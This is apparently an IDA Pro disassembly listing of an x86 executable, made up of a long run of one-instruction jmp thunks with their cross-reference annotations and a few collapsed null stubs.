sub_4017C1 proc near ; CODE XREF: sub_40EB00+217p ; sub_41E360+4Cp ... jmp sub_41E320 sub_4017C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C6 proc near ; CODE XREF: sub_419B50+DDp jmp sub_4193D0 sub_4017C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017CB proc near ; CODE XREF: sub_42AC40+CCp jmp sub_42E070 sub_4017CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D0 proc near ; CODE XREF: _294ADE7B:00412F55p ; sub_413AD0+1B2p jmp sub_412B30 sub_4017D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D5 proc near ; CODE XREF: sub_4108D0+1B6p jmp sub_409C70 sub_4017D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DA proc near ; CODE XREF: sub_41CC30+5ABp jmp sub_41E9A0 sub_4017DA endp ; --------------------------------------------------------------------------- jmp loc_42CEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E4 proc near ; CODE XREF: sub_40A470+14p jmp sub_40A720 sub_4017E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E9 proc near ; CODE XREF: sub_4122A0+B4p ; _294ADE7B:00413920p ... jmp sub_4143B0 sub_4017E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017EE proc near ; CODE XREF: sub_418980+6Dp ; sub_418980+1B5p jmp sub_419600 sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: _294ADE7B:0042C27Ap jmp sub_42BC30 sub_4017F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F8 proc near ; CODE XREF: sub_417550+5Fp jmp sub_4176F0 sub_4017F8 endp ; --------------------------------------------------------------------------- jmp loc_4184A0 ; --------------------------------------------------------------------------- jmp sub_4187B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: sub_41CC30+46p jmp sub_41FF80 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40180C proc near ; CODE XREF: sub_420800+7p jmp sub_420BF0 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: sub_420680+9p ; sub_420AE0+18p jmp sub_420C60 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401816 proc near ; CODE XREF: sub_420880+8p jmp sub_420C40 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40181B proc near ; CODE XREF: sub_412160+43p ; sub_413560+4Fp ... jmp sub_4144C0 sub_40181B endp ; --------------------------------------------------------------------------- jmp loc_42BBB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401825 proc near ; CODE XREF: sub_4200A0+1Fp jmp sub_420420 sub_401825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; CODE XREF: sub_41FF80+11p ; sub_420420+1Fp jmp sub_420550 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: sub_40AEF0+6Dp jmp sub_40B8F0 sub_40182F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401834 proc near ; CODE XREF: sub_408FB0+13p jmp loc_4090E0 sub_401834 endp ; --------------------------------------------------------------------------- jmp loc_4300F0 ; --------------------------------------------------------------------------- jmp sub_4196B0 ; --------------------------------------------------------------------------- loc_401843: ; DATA XREF: _8C6BDE73:off_43707Co jmp loc_417180 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: _294ADE7B:004128C1p jmp sub_412740 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: sub_411EB0+73p ; sub_411FB0+32p jmp sub_414260 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401852 proc near ; CODE XREF: _294ADE7B:0041586Bp ; _294ADE7B:004338BCj ... jmp sub_415B70 sub_401852 endp ; --------------------------------------------------------------------------- jmp loc_42C240 ; --------------------------------------------------------------------------- jmp loc_42E670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; CODE XREF: sub_41ACE0+F1p ; sub_41ACE0+270p ... jmp sub_41F3E0 sub_401861 endp ; --------------------------------------------------------------------------- jmp loc_409F60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: sub_404890+283p ; sub_40DB00+D2p ... jmp sub_40DD20 sub_40186B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401870 proc near ; CODE XREF: sub_41FFC0+34p ; sub_420910+67p jmp sub_4205A0 sub_401870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401875 proc near ; CODE XREF: sub_404890+BF7p jmp sub_406300 sub_401875 endp ; --------------------------------------------------------------------------- jmp loc_42D500 ; --------------------------------------------------------------------------- loc_40187F: ; DATA XREF: sub_41E1D0+39o jmp loc_41E100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401884 proc near ; CODE XREF: _294ADE7B:0041886Ep ; sub_418980+Bp ... jmp sub_418960 sub_401884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: _294ADE7B:00419226p ; _294ADE7B:00419306p jmp sub_418F30 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; CODE XREF: sub_416AE0+248p jmp sub_417830 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_410400+3p ; sub_4117A0+2Ep jmp sub_4118E0 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near ; CODE XREF: sub_41CC30+F5p ; sub_41CC30+16Fp ... jmp sub_420070 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; CODE XREF: sub_408FB0+4p ; sub_409160+1Fp ... jmp sub_409060 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_416AE0+88p jmp sub_409590 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near ; CODE XREF: _294ADE7B:0041DE50p jmp sub_41E420 sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018AC proc near ; CODE XREF: sub_4122A0+4Ap ; _294ADE7B:004138CFp ... jmp sub_4141B0 sub_4018AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_409F90+A8p jmp sub_40A3B0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: _294ADE7B:0042E585p ; _294ADE7B:0042E685p jmp sub_42E2E0 sub_4018B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018BB proc near ; CODE XREF: sub_41FFC0+29p jmp sub_4204C0 sub_4018BB endp ; --------------------------------------------------------------------------- jmp loc_429E90 ; --------------------------------------------------------------------------- jmp loc_429E60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: sub_40A2F0+Dp ; sub_40A550+91p jmp sub_40A470 sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CF proc near ; CODE XREF: sub_420720+23p ; sub_420AE0+11p jmp sub_420C80 sub_4018CF endp ; --------------------------------------------------------------------------- jmp loc_425BC0 ; --------------------------------------------------------------------------- jmp loc_4191C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018DE proc near ; CODE XREF: sub_403BE0+2Cp ; sub_403BE0+7Fp ... jmp sub_403190 sub_4018DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018E3 proc near ; CODE XREF: sub_420E20+6p jmp sub_420E90 sub_4018E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018E8 proc near ; DATA XREF: _8C6BDE73:off_43705Co jmp sub_417130 sub_4018E8 endp ; --------------------------------------------------------------------------- jmp sub_4114B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F2 proc near ; CODE XREF: sub_4070C0+4p jmp sub_4071F0 sub_4018F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F7 proc near ; CODE XREF: _294ADE7B:0040B189p ; _294ADE7B:0040B5A6p ... jmp sub_40B080 sub_4018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018FC proc near ; CODE XREF: sub_40EB00+AF4p ; sub_40EB00+E6Ap jmp sub_410400 sub_4018FC endp ; --------------------------------------------------------------------------- jmp loc_42DAE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401906 proc near ; CODE XREF: sub_413260+CEp jmp sub_4133D0 sub_401906 endp ; --------------------------------------------------------------------------- loc_40190B: ; DATA XREF: _8C6BDE73:off_4370B0o jmp loc_41FE40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401910 proc near ; CODE XREF: sub_4200E0+3p jmp sub_420600 sub_401910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401915 proc near ; CODE XREF: _294ADE7B:0041595Fp jmp sub_40AC10 sub_401915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40191A proc near ; CODE XREF: sub_416AE0+B3p jmp sub_412070 sub_40191A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40191F proc near ; CODE XREF: sub_41CC30+477p jmp sub_41E6C0 sub_40191F endp ; --------------------------------------------------------------------------- jmp loc_41FE20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401929 proc near ; CODE XREF: sub_416AE0+215p jmp sub_410430 sub_401929 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40192E proc near ; CODE XREF: sub_42E350+92p jmp sub_42BAE0 sub_40192E endp ; --------------------------------------------------------------------------- jmp loc_426DB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: sub_4204C0+32p jmp sub_420910 sub_401938 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40193D proc near ; CODE XREF: _294ADE7B:004157FBp ; sub_417130+3p ... jmp sub_417100 sub_40193D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401942 proc near ; CODE XREF: _294ADE7B:004220F4p ; sub_427480+218p ... jmp sub_41F2D0 sub_401942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401947 proc near ; CODE XREF: sub_4208E0+Ap jmp sub_420CF0 sub_401947 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40194C proc near ; CODE XREF: _294ADE7B:00411C5Fp ; _294ADE7B:00411D14p ... jmp sub_404260 sub_40194C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401951 proc near ; CODE XREF: sub_408FB0+1Ap ; sub_409090+4p ... jmp sub_409020 sub_401951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401956 proc near ; DATA XREF: _8C6BDE73:off_437028o jmp sub_4114B0 sub_401956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; DATA XREF: _8C6BDE73:004370C4o jmp sub_4268B0 sub_40195B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401960 proc near ; CODE XREF: _294ADE7B:00424DE5p jmp sub_4249E0 sub_401960 endp ; --------------------------------------------------------------------------- jmp loc_4098B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: sub_414830+1Ep jmp sub_4152E0 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: _294ADE7B:0042A490p ; sub_42BC70+6Bp ... jmp sub_42B4E0 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401974 proc near ; CODE XREF: sub_412570+3Ep jmp sub_42EA80 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near ; CODE XREF: sub_413730+3p jmp sub_413760 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: _294ADE7B:00407E02p ; sub_407E8F+404p jmp sub_408FF0 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; DATA XREF: _8C6BDE73:004370C0o ; _8C6BDE73:004370D0o ... jmp sub_426770 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near ; CODE XREF: sub_41BE00+1ADp jmp sub_4279B0 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_41EB00+191p ; sub_420E90+3p ... jmp sub_41ED90 sub_40198D endp ; --------------------------------------------------------------------------- jmp loc_42A190 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_420CB0+5p jmp sub_420E20 sub_401997 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40199C proc near ; CODE XREF: sub_406ED0+5p ; sub_406FC0+6p ... jmp sub_407110 sub_40199C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A1 proc near ; CODE XREF: sub_403190+90p ; sub_404890+40Fp ... jmp sub_40A200 sub_4019A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_425830+B0p jmp sub_4255E0 sub_4019A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019AB proc near ; CODE XREF: sub_41BE00+2FFp ; sub_41D500+52Fp jmp sub_41E360 sub_4019AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B0 proc near ; CODE XREF: _294ADE7B:0042CF6Ap jmp sub_42A9E0 sub_4019B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_414220+1Fp jmp sub_414B60 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_403190+E5p ; sub_4099D0+Fp ... jmp sub_409900 sub_4019BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BF proc near ; CODE XREF: sub_42C700+17p ; sub_42C700+33p jmp sub_42E890 sub_4019BF endp ; --------------------------------------------------------------------------- jmp loc_42E600 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4019CE: ; DATA XREF: _8C6BDE73:off_4370DCo jmp loc_426DB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019D3 proc near ; CODE XREF: sub_423580+E5p ; sub_423580+120p jmp sub_423430 sub_4019D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019D8 proc near ; DATA XREF: _8C6BDE73:off_437034o jmp sub_4108D0 sub_4019D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; DATA XREF: _294ADE7B:0041E103o jmp sub_41E060 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; CODE XREF: sub_406DA0+Bp jmp sub_406F80 sub_4019E2 endp ; --------------------------------------------------------------------------- jmp loc_42DD40 ; --------------------------------------------------------------------------- loc_4019EC: ; DATA XREF: _8C6BDE73:off_437020o jmp loc_40B430 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F1 proc near ; CODE XREF: sub_403B00+2Bp ; sub_403B00+3Bp ... jmp sub_403930 sub_4019F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F6 proc near ; CODE XREF: sub_4122A0+66p ; sub_4122A0+CAp ... jmp sub_4143E0 sub_4019F6 endp ; --------------------------------------------------------------------------- jmp loc_419E50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A00 proc near ; CODE XREF: sub_416AE0+203p jmp sub_420EC0 sub_401A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A05 proc near ; CODE XREF: _294ADE7B:0041584Bp ; _294ADE7B:004338D8j ... jmp sub_40ACD0 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0A proc near ; CODE XREF: _294ADE7B:0041FD34p ; _294ADE7B:0041FD6Ep jmp sub_41FBA0 sub_401A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0F proc near ; CODE XREF: sub_404800+15p jmp sub_406DA0 sub_401A0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A14 proc near ; DATA XREF: _8C6BDE73:off_43709Co jmp sub_4187B0 sub_401A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A19 proc near ; CODE XREF: _294ADE7B:00415A6Fp jmp sub_416EF0 sub_401A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A1E proc near ; CODE XREF: sub_415B00+28p jmp sub_416E80 sub_401A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A23 proc near ; CODE XREF: _294ADE7B:0042CB87p jmp sub_42CBC0 sub_401A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A28 proc near ; CODE XREF: sub_42B0F0+Bp ; sub_42B410+16p jmp sub_42B570 sub_401A28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A2D proc near ; CODE XREF: sub_416AE0+25Dp jmp sub_40AA00 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: sub_417310+2Bp ; sub_417550+28p ... jmp sub_417610 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: sub_407E8F+4A9p ; sub_407E8F+4CAp ... jmp sub_407310 sub_401A37 endp ; --------------------------------------------------------------------------- jmp loc_413880 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; CODE XREF: sub_41ACE0+83p jmp sub_41BC10 sub_401A41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A46 proc near ; CODE XREF: sub_418F30+11p jmp sub_418F60 sub_401A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A4B proc near ; CODE XREF: sub_41CC30+339p jmp sub_4202E0 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; CODE XREF: sub_413A00+3p jmp sub_413A30 sub_401A50 endp ; --------------------------------------------------------------------------- jmp loc_42DE40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5A proc near ; CODE XREF: sub_42AC40+29p jmp sub_42A6E0 sub_401A5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: sub_4114E0+38p ; _294ADE7B:00432B88j jmp sub_4116A0 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A64 proc near ; CODE XREF: sub_416AE0+112p jmp sub_40C310 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A69 proc near ; CODE XREF: sub_407310+3Bp ; sub_4073A0+43p jmp sub_40AF90 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_406F80+3p jmp sub_407150 sub_401A6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A73 proc near ; CODE XREF: sub_422F30+9Dp ; sub_422F30+FBp ... jmp sub_422CE0 sub_401A73 endp ; --------------------------------------------------------------------------- loc_401A78: ; DATA XREF: _8C6BDE73:off_437068o jmp loc_426360 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A7D proc near ; CODE XREF: sub_40EB00+413p ; sub_40EB00+F69p ... jmp sub_409AC0 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: _294ADE7B:004250D4p jmp sub_425140 sub_401A82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A87 proc near ; CODE XREF: sub_420720+32p jmp sub_420AE0 sub_401A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_419B50+A5p jmp sub_418DA0 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: sub_40BAC0+23p ; sub_40BC80+11p jmp sub_40BE20 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A96 proc near ; CODE XREF: _294ADE7B:00422583p ; DATA XREF: _5AD6BD6B:off_43C32Co jmp sub_425830 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_416AE0+232p jmp sub_41C710 sub_401A9B endp ; --------------------------------------------------------------------------- loc_401AA0: ; DATA XREF: sub_42B0F0+86o jmp loc_42C7F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA5 proc near ; CODE XREF: sub_409090+20p jmp sub_409160 sub_401AA5 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42BB70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_4202A0+1Fp jmp sub_420680 sub_401AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB9 proc near ; CODE XREF: sub_4278C0+39p jmp sub_427480 sub_401AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ABE proc near ; CODE XREF: sub_4144C0+5p ; sub_4146C0+6p ... jmp sub_415110 sub_401ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC3 proc near ; CODE XREF: sub_42B410+63p ; sub_42B570+5Dp ... jmp sub_42B670 sub_401AC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC8 proc near ; CODE XREF: _294ADE7B:0042D2C9p ; _294ADE7B:0042D2EAp ... jmp sub_42BDA0 sub_401AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ACD proc near ; CODE XREF: _294ADE7B:004263C7p jmp sub_426D40 sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; CODE XREF: sub_419A70+3p jmp sub_419AA0 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_421170+929p ; _294ADE7B:0042277Ap jmp sub_425540 sub_401AD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ADC proc near ; CODE XREF: sub_428460+18Dp ; sub_428460+1CDp ... jmp sub_429170 sub_401ADC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AE1 proc near ; CODE XREF: sub_412FC0+3Cp jmp sub_4130F0 sub_401AE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AE6 proc near ; CODE XREF: _294ADE7B:0042379Bp jmp sub_422F30 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: sub_40AC10+6Ep ; sub_40ACD0+34p ... jmp sub_40B930 sub_401AEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF0 proc near ; CODE XREF: sub_40AC10+5Cp jmp sub_40B7D0 sub_401AF0 endp ; --------------------------------------------------------------------------- jmp loc_42D960 ; --------------------------------------------------------------------------- jmp loc_42C2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AFF proc near ; CODE XREF: sub_42BC70+20p ; sub_42BDA0+20p ... jmp sub_42B830 sub_401AFF endp ; --------------------------------------------------------------------------- jmp loc_429ED0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B09 proc near ; CODE XREF: sub_412570+84p ; sub_42EBA0+3Cp ... jmp sub_42EAC0 sub_401B09 endp ; --------------------------------------------------------------------------- jmp loc_419CF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B13 proc near ; CODE XREF: _294ADE7B:0042C3F6p ; sub_42E350+23p jmp sub_42CC60 sub_401B13 endp ; --------------------------------------------------------------------------- jmp loc_41E250 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B1D proc near ; CODE XREF: sub_419680+8p ; _294ADE7B:00419A3Dp ... jmp sub_4186E0 sub_401B1D endp ; --------------------------------------------------------------------------- jmp loc_419420 ; --------------------------------------------------------------------------- jmp loc_415720 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B2C proc near ; CODE XREF: sub_40B8F0+1Fp jmp sub_40BA20 sub_401B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B31 proc near ; CODE XREF: sub_414790+9p ; sub_4148B0+18p jmp sub_415360 sub_401B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; CODE XREF: sub_417310+4p jmp sub_417630 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: sub_407020+11p ; sub_407020+27p ... jmp sub_4071D0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B40 proc near ; CODE XREF: sub_404890+111p ; sub_404890+ECDp ... jmp sub_409D50 sub_401B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B45 proc near ; CODE XREF: sub_411EB0+7Ap ; sub_411FB0+3Cp ... jmp sub_414570 sub_401B45 endp ; --------------------------------------------------------------------------- jmp loc_429B60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_425310+69p jmp sub_425480 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B54 proc near ; CODE XREF: sub_40B080+2Fp ; sub_40B080+6Ep ... jmp sub_40B8C0 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B59 proc near ; CODE XREF: _294ADE7B:00429F28p ; _294ADE7B:00429F3Dp ... jmp sub_42DE60 sub_401B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B5E proc near ; CODE XREF: sub_414100+11p ; sub_414B60+1Fp jmp sub_414D50 sub_401B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; DATA XREF: _8C6BDE73:004370B4o jmp sub_41BE00 sub_401B63 endp ; --------------------------------------------------------------------------- jmp loc_417FE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B6D proc near ; CODE XREF: sub_407020+9p ; sub_417440+18p jmp sub_407270 sub_401B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B72 proc near ; CODE XREF: sub_411F80+3p ; _294ADE7B:0041585Bp ... jmp sub_411FB0 sub_401B72 endp ; --------------------------------------------------------------------------- jmp loc_40B370 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B81 proc near ; CODE XREF: _294ADE7B:004159EAp jmp sub_416860 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_414830+Cp ; sub_414830+43p jmp sub_415330 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: sub_409160+45p jmp sub_409440 sub_401B8B endp ; --------------------------------------------------------------------------- jmp loc_42E2C0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_40EB00+3A4p jmp sub_409B60 sub_401B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9F proc near ; CODE XREF: _294ADE7B:00407A08p ; _294ADE7B:00407AAFp ... jmp sub_4073A0 sub_401B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BA4 proc near ; CODE XREF: sub_4141B0+16p ; sub_4141F0+Bp ... jmp sub_414E20 sub_401BA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BA9 proc near ; CODE XREF: sub_409160+144p jmp sub_4094D0 sub_401BA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BAE proc near ; CODE XREF: sub_404260+1C2p ; sub_404730+36p ... jmp sub_412160 sub_401BAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB3 proc near ; CODE XREF: sub_413E80+34p ; sub_4148B0+67p jmp sub_414A50 sub_401BB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; CODE XREF: sub_416AE0+275p jmp sub_409600 sub_401BB8 endp ; =============== S U B R O U T I N E ======================================= ; 